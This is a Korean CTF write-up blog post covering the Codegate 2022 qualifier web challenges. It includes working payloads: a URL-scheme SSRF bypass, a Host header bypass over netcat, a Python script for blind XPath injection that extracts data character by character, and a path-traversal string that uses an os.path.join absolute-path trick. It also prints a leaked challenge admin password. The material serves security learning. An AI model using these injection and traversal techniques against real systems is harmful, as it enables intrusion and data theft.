본선 못갔으니 대충 쓰겠다..
웹을 너무 빨리 풀어서 블체만 봤는데 개인적으로 블체에 대해 너무 몰라서 많이 아쉬운 감이 있었다 흑흑..
nft 문제는 팀원인 epist가 도와줬다(ㄳㄳ)
[Baby First]
요약
ssrf로 regex검사를 우회하여 local file을 leak한다
당연히 baby 붙어있길래 이거부터 봐서 그런지 퍼스트 솔브를 먹어버린 문제이다 ;;;
대충 코드 보면 class파일 내의 lookupImg 함수에서 memo의 내용 중 [] 대괄호 안에 들어가는걸 url로 받아 image를 파싱해서 img tag에 넣어준다.
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file"))
return "";
이 때 java.net.URL을 사용해서 넣어주는데, 그 전에 startsWith 함수로 file: 프로토콜로 시작하는지 검사한다.
java.net.URL을 auditing 해보면
위와같이 url: 로 시작하면 start(input argument, url)를 += 4 해주는것을 볼 수 있따.
memo=[url:file:///flag] 해주면 풀린다
[ CAFE ]
요약 : xss bot에 admin password가 존재한다(언인텐), parse_url 버그(?)를 이용한다(인텐)
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;
parse_url($src)['host']로 host 검사를 하는데, 이는 쉽게 우회가 가능하다.
관련된 문서로는 오랜지 형님 자료가 참 좋다.
찾기 귀찮으니 따로 링크는 올리지 않겠다.
# xss bot python code
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()
하튼 원래는 그런문제였지만 xss bot에 패스워드가 들어있었다.
웹 빠르게 다 풀고 블체까지 보고 완전히 실직한다음 인텐으로 다시 보려했지만 블록체인 한문제를 풀지못하고 그대로 대회가 끝나 보지 못했다. 대충 javascript://youtube.com/[개행][코드]로 하면 될거같다
[ superbee ]
요약 : admin/password (언인텐) AES uninitialized key+padding it, iv from key decrypt
난 솔직히 대회하면서 이문제가 왜 100점까지 털렸지라는 의문을 끝끝내 지울 수가 없었다.
아 그런데 대회가 끝나고보니 계정이 admin/password 였다고한다.
으..;
ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607
일단 auth_key를 auth_secret_key였나? 하튼 그거가지고 AES CBC Encrypt해서 admin페이지에 뿌려준다
host localhost로 검사하고있지만 걍 직접 nc로 붙어서 host 바꿔주니 뚝 떨어졌다.
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}
대충 코드 보면 위에서 암호화할때 쓰이는 auth_crypt_key가 선언만 되어있고 값을 불러오지 않는다.
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
그러고 그걸 key size만큼 padding해주는데 그 결과는 \x10*16 이다
iv 또한 위의 padding으로 만들어진 key의 값에서 blocksize만큼 잘라서 쓰기 때문에 우리는 key와 iv를 모두 안다.
arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
개같이 복호화
개같이 플래그
[ myblog ]
요약 : blind xpath injection으로 catalina.properties에 설정된 environ variable leak
이제 jsp 문제 나오면 일단 톰캣, jdk부터 오디팅하는 습관이 들어져버렸다
대충 catalina.properties에 플래그 세팅해준거 보니 System.getProperty 같은 함수가 xpath 사용할 때 내부적으로 쓸거라 생각이 들어 우리의 갓-서브라임 형님께 ctrl+shift+f로 getProperty 검색해서 reference check를 했다
그러다보니 뭐 SecuritySupport.java에 쓰는게 있었는데 대충 기억해놓고있다가
대충 xpath function들 이용해서 풀거같아서 그쪽 보니 system-property라고 아주 좋아보이는 놈이 있었다.
대충 위 흐름으로 호출되는거 볼 수 있는데
로컬 테스트 bingo
대충 blind xpath injeciton 구문 짜서 length check하고
from arang import *
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
for c in "0123456789abcdef}":
url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
r = s.get(url)
if 'asdf' not in r.content.decode():
flag += c
print(f"[{len(flag)}/46] flag - {flag}")
break
do exploit
get flag
[ nft ]
요약 : blockchain 이지만 webchall, 1day랑 python trick 이용
modifier contains (string memory what, string memory where) {
bytes memory whatBytes = bytes (what);
bytes memory whereBytes = bytes (where);
require(whereBytes.length >= whatBytes.length);
bool found = false;
for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
bool flag = true;
for (uint j = 0; j < whatBytes.length; j++)
if (whereBytes [i + j] != whatBytes [j]) {
flag = false;
break;
}
if (flag) {
found = true;
break;
}
}
require (!found);
_;
}
contains 함수가 좀 엉성하다
[requirements.txt 중]
Django==3.2.1
?
https://packetstormsecurity.com/files/cve/CVE-2021-33571
굿
>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')
이제 127.00.0.1 주면 contains 우회할 수 있다
>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'
nft_file = uri.split(nft_path + '/')[-1]
if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
path = os.path.join(os.getcwd(), nft_path, nft_file)
with open(path, 'rb') as f:
return f.read()
os.path.join 쓸 때 세번째 인자 절대경로 주면 절대경로로 바뀌어버리는 trick이 있다
이거랑 엮어쓰면
127.00.0.1/acount/storages//home/ctf/flag.txt
이렇게 주면 with open(path, 'rb') as f에서 path에 /home/ctf/flag.txt가 들어가게 되고 플래그를 읽을 수 있다.
취약점은 찾았으나 블체 눕눕이라 실제 익스를 못해서 팀원인 epist가 대신 익스해줬다(ㄳㄳ)
'CTF > writeup' 카테고리의 다른 글
2022 WACon CTF - kuncelan (blackbox) Writeup (0) | 2022.06.28 |
---|---|
금융보안원 FIESTA 2021 - FSI cha tin gse rvi ce! 문제 출제자 Write-up (1) | 2021.11.03 |
2021 화이트햇콘테스트(예선) 웹 분야 라이트업 (Whitehat Contest 2021) (1) | 2021.09.14 |
2020 사이버 작전 경연대회 [웹] - Vaccine Paper; Write-up (0) | 2020.09.15 |
2020 사이버 작전 경연대회 [웹] - Intranet; Write-up (3) | 2020.09.15 |